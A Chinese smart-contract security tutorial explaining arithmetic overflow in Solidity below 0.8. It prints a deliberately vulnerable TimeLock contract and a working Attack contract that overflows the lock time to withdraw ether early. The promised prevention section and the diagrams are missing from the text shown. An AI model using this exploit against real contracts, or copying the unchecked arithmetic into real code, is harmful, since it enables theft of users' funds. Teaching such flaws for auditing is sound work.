智能合约安全审计入门系列之溢出漏洞。
By:小白@慢雾安全团队
上周写了智能合约安全审计入门篇 —— 重入漏洞,这次我们接着来说一个同样很经典的漏洞 —— 溢出漏洞
首先我们还是先来看看溢出是什么:
算术溢出(arithmetic overflow)或简称为溢出(overflow) 分为两种:上溢和下溢。所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity 中,uint8 所能表示的范围是 0 - 255 这 256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8 类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 - 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。
如果一个合约有溢出漏洞的话会导致计算的实际结果和预期的结果产生非常大的差异,这样轻则会影响合约的正常逻辑,重则会导致合约中的资金丢失。但是溢出漏洞是存在版本限制的,在 Solidity < 0.8 时溢出不会报错,当 Solidity >= 0.8 时溢出会报错。所以当我们看到 0.8 版本以下的合约时,就要注意这个合约可能出现溢出问题。
看了前置知识我相信大家对溢出漏洞都有一定的了解了,下面我们来结合合约代码来深入了解溢出漏洞:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
我们可以看到,TimeLock 合约充当了时间保险库。用户可以将代币通过 deposit 函数存入该合约并锁定,且至少一周内不能提现。当然用户也可以通过 increaseLockTime 函数来增加存储时间,用户在设定的存储期限到期前是无法提取 TimeLock 合约中锁定的代币的。首先我们发现这个合约中的 increaseLockTime 函数和 deposit 函数具有运算功能,并且合约支持的版本是:0.7.6 向上兼容,所以这个合约在算数溢出时是不会报错的,所以我们这里就可以判断这个合约是可能存在溢出漏洞的,这里可利用的函数有两个,一个是 increaseLockTime 函数,一个是 deposit 函数。我们先来分析这两个函数内参数可影响的范围再来决定如何发起攻击:
综上所述,我们发现可利用的参数有两个,分别为deposit 函数中的 balances 参数和increaseLockTime 函数中的 _secondsToIncrease 参数。
我们先来看balances参数,如果要让这个参数溢出我们需要有足够的资金存入才可以(需要 2^256 个代币存入才能导致 balances 溢出并归零),如果要利用这个溢出漏洞的话,我们把大量资金存入自己的账户并让自己的账户的 balances 溢出并归零从而清空自己的资产,我觉得在坐的各位没有人会这么做吧。所以这个参数可以认为在攻击者的角度是不可用的。
我们再看 _secondsToIncrease参数,这个参数是我们调用 increaseLockTime 函数来增加存储时间时传入的,这个参数可以决定我们什么时候可以将自己存入并锁定的代币从合约中取出,我们可以看到这个参数在传入之后是直接与账户对应的锁定时间 lockTime 进行运算的,如果我们操纵 _secondsToIncrease 参数让他在与 lockTime 进行运算后得到的结果产生溢出并归零的话这样我们是不是就可以在存储日期到期前将自己账户中的余额取出了呢?
下面我们来看看攻击合约:
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
这里我们将使用 Attack 攻击合约先存入以太后利用合约的溢出漏洞在存储未到期的情况下提取我们在刚刚 TimeLock 合约中存入并锁定的以太:
下面是攻击流程图:
到这里相信大家对溢出漏洞都有自己的理解了,那么下面我们就以开发者和审计者的角度来分析如何预防溢出漏洞和如何快速找出溢出漏洞:
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!